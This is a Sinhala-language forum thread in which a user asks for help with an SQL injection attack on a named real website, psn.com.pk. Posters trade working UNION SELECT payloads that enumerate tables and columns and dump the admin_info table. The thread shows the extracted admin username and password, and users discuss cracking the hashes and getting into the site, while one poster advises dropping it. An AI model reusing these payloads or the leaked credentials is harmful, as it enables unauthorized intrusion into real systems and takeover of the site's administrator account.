SQL INJECTION උදව්

[rukshrulz]

මචන් මම මේ කරන දේ හරිද කියපන්කො

DB එකේ තියෙන tables view කරාම මෙහෙම ආවා

aboutus,admin_info,download,edu,edu_cat,executives,faq,gallery,gallery_cat,general,guide,history,news,newsletter,presentation,sponsor,userinfo

ඊටපස්සේ admin details ගන්න මෙහෙම ගැහුවා

union select 1,group_concat(column_name),3,4 FROM information_schema.columns WHERE table_name="admin_info"

මෙහෙම tables ටික ආවා

id,login,password,last_login,last_modified,adminname,addvalue,editvalue,deletevalue,vieworders,viewreports,createadmin,status

දැන් admin_info එකේ තියෙන login,password view කරන්න මේක ගැහුවා

union select 1,group_concat(login,password),3,4,5,6 FROM psn.admin_info--

දැන් ඉතින් ආවා මෙහෙම

Wadmin7ujm&%2K11

මම හිතන්නේ username එක Wadmin password එක 7ujm&%2K11. එත් website login එකේදී ඕක ගැහුවට login වෙන්නේ නැ

හෙල්ප් මී සිංහලු
​

 

[Barry Allen]

මචන් මම මේ කරන දේ හරිද කියපන්කො

DB එකේ තියෙන tables view කරාම මෙහෙම ආවා

aboutus,admin_info,download,edu,edu_cat,executives,faq,gallery,gallery_cat,general,guide,history,news,newsletter,presentation,sponsor,userinfo

ඊටපස්සේ admin details ගන්න මෙහෙම ගැහුවා

union select 1,group_concat(column_name),3,4 FROM information_schema.columns WHERE table_name="admin_info"

මෙහෙම tables ටික ආවා

id,login,password,last_login,last_modified,adminname,addvalue,editvalue,deletevalue,vieworders,viewreports,createadmin,status

දැන් admin_info එකේ තියෙන login,password view කරන්න මේක ගැහුවා

union select 1,group_concat(login,password),3,4,5,6 FROM psn.admin_info--

දැන් ඉතින් ආවා මෙහෙම

Wadmin7ujm&%2K11

මම හිතන්නේ username එක Wadmin password එක 7ujm&%2K11. එත් website login එකේදී ඕක ගැහුවට login වෙන්නේ නැ

හෙල්ප් මී සිංහලු
​

7ujm&%2K11.

ඔය අන්තිමට තියෙන . අයින් කරලා බලපන

 

[rukshrulz]

ඔය අන්තිමට තියෙන . අයින් කරලා බලපන

pw එකේ . එකක් නෑ. මම දැම්මේ . එක thread එකට

 

[Barry Allen]

union select 1,group_concat(login),3,4,5,6 FROM psn.admin_info--

union select 1,group_concat(password),3,4,5,6 FROM psn.admin_info--

ඔය දෙක වෙන් වෙනම run කරලා බලපන්කො,උබට හරියටම password එක සුවර් නැත්නම්

තනි code එකකින් කරන්නේ නම් මෙහෙමයි

union select 1,group_concat(login,0x3a,password),3,4,5,6 FROM psn.admin_info--

 

[lilman]

 

[DevilRox]

password eka encrypt karala wenna puluwan neh.

 

[rukshrulz]

ඔය දෙක වෙන් වෙනම run කරලා බලපන්කො,උබට හරියටම password එක සුවර් නැත්නම්

තනි code එකකින් කරන්නේ නම් මෙහෙමයි

දෙකම හරි බන්.

 

[Sub Zer0]

union select 1,group_concat(login,0x3a,password),3,4,5,6 FROM psn.admin_info--

 

[Barry Allen]

union select 1,group_concat(login,0x3a,password),3,4,5,6 FROM psn.admin_info--

මුට කියලා වැඩක් නැහැ මචන්..දෙකම හරි කියලා ඉන්නවනේ

 

[rukshrulz]

union select 1,group_concat(login,0x3a,password),3,4,5,6 FROM psn.admin_info--

මුට කියලා වැඩක් නැහැ මචන්..දෙකම හරි කියලා ඉන්නවනේ

Wadmin:7ujm&%2K11
ඔන්න ඕක තමයි අවේ. මම හිතන්නේ password එක encrypt කරලා තියෙන්නේ. කොහොමද encrypt mode එක හොයාගන්නේ?

 

[kolavari]

එන්ක්‍රිප්ට් කරලා ඇති බන් password එක...

 

[Barry Allen]

Wadmin:7ujm&%2K11
ඔන්න ඕක තමයි අවේ. මම හිතන්නේ password එක encrypt කරලා තියෙන්නේ. කොහොමද encrypt mode එක හොයාගන්නේ?

ඔන්න ඕක අතහැරලා දාපන්

ඉගෙන ගත්තම ඇති කරන විදිය

 

[kolavari]

Wadmin:7ujm&%2K11
ඔන්න ඕක තමයි අවේ. මම හිතන්නේ password එක encrypt කරලා තියෙන්නේ. කොහොමද encrypt mode එක හොයාගන්නේ?

හැක් කරපු සයිට් එකක් ද ?

එන්ක්‍රිප්ට් කරන්නේ හොයාගන්න බැරි වෙන්න නේ බන්...එහෙම හොයාගන්න පුලුවන්නම් එන්ක්‍රිප්ට් නොකර නිකම්ම ගහනවනේ...

ඔය රේන්බෝ ටේබල් වගේ සීන් තියෙනවා සමහර ඒවාට නම් ක්‍රැක් කරන්න..එත් ඉතින් ඕව පුක ඉරෙන වැඩ...

 

[Sub Zer0]

Wadmin:7ujm&%2K11
ඔන්න ඕක තමයි අවේ. මම හිතන්නේ password එක encrypt කරලා තියෙන්නේ. කොහොමද encrypt mode එක හොයාගන්නේ?

encrypt කරලා නෑ බන්. වෙන අව්ලක් ඇත්තේ.
හද්ද පරණ හැමදාම rape වෙන සයිට් මේවා sql injection වලට.
psn.com.pk නේද.

 

[rukshrulz]

එන්ක්‍රිප්ට් කරලා ඇති බන් password එක...

එක තමයි මටත් හිතෙන්නේ.

ඔන්න ඕක අතහැරලා දාපන්

ඉගෙන ගත්තම ඇති කරන විදිය

එහෙම කියල බැනේ බන්. ඇතුලට රිංගන්න ඕනේ

හැක් කරපු සයිට් එකක් ද ?

එන්ක්‍රිප්ට් කරන්නේ හොයාගන්න බැරි වෙන්න නේ බන්...එහෙම හොයාගන්න පුලුවන්නම් එන්ක්‍රිප්ට් නොකර නිකම්ම ගහනවනේ...

ඔය රේන්බෝ ටේබල් වගේ සීන් තියෙනවා සමහර ඒවාට නම් ක්‍රැක් කරන්න..එත් ඉතින් ඕව පුක ඉරෙන වැඩ...

ට්‍රයි එකක් ගහල බැලුවේ.

 

[rukshrulz]

encrypt කරලා නෑ බන්. වෙන අව්ලක් ඇත්තේ.
හද්ද පරණ හැමදාම rape වෙන සයිට් මේවා sql injection වලට.
psn.com.pk නේද.

ඔව් site එක නම් ඕක තමා. encrypt කරලා නැත්තන් මොකෝ ඇතුලට රිංගන්න බැරි?

 

[CustomerSupport]

Pasword encrypt karanne bayyo. hash karala aththe. Balanna password length eka ekama da kiyala hama account ekata ma. Hashes ehemai. characters set ekath 1-f, base64 wage.

 

[MihiCherub]

කොහොමද encrypt mode එක හොයාගන්නේ?

 

[hirashgeff]

Wadmin:7ujm&%2K11
ඔන්න ඕක තමයි අවේ. මම හිතන්නේ password එක encrypt කරලා තියෙන්නේ. කොහොමද encrypt mode එක හොයාගන්නේ?

හරියට කරන එකෙක් නම් ඔය එන්ක්‍රිප්සන් මෝඩ් එක කඩන්න්න බෑ. one වේ එන්ක්‍රිප්සන් එකක් දාන එක තමයි සාර්ථකම.

 

[Jolly_Roger]

Pasword encrypt karanne bayyo. hash karala aththe. Balanna password length eka ekama da kiyala hama account ekata ma. Hashes ehemai. characters set ekath 1-f, base64 wage.

pena widiyata hash karalath na. hash karana eke okata Salt danawa aniwa. meke ehemath na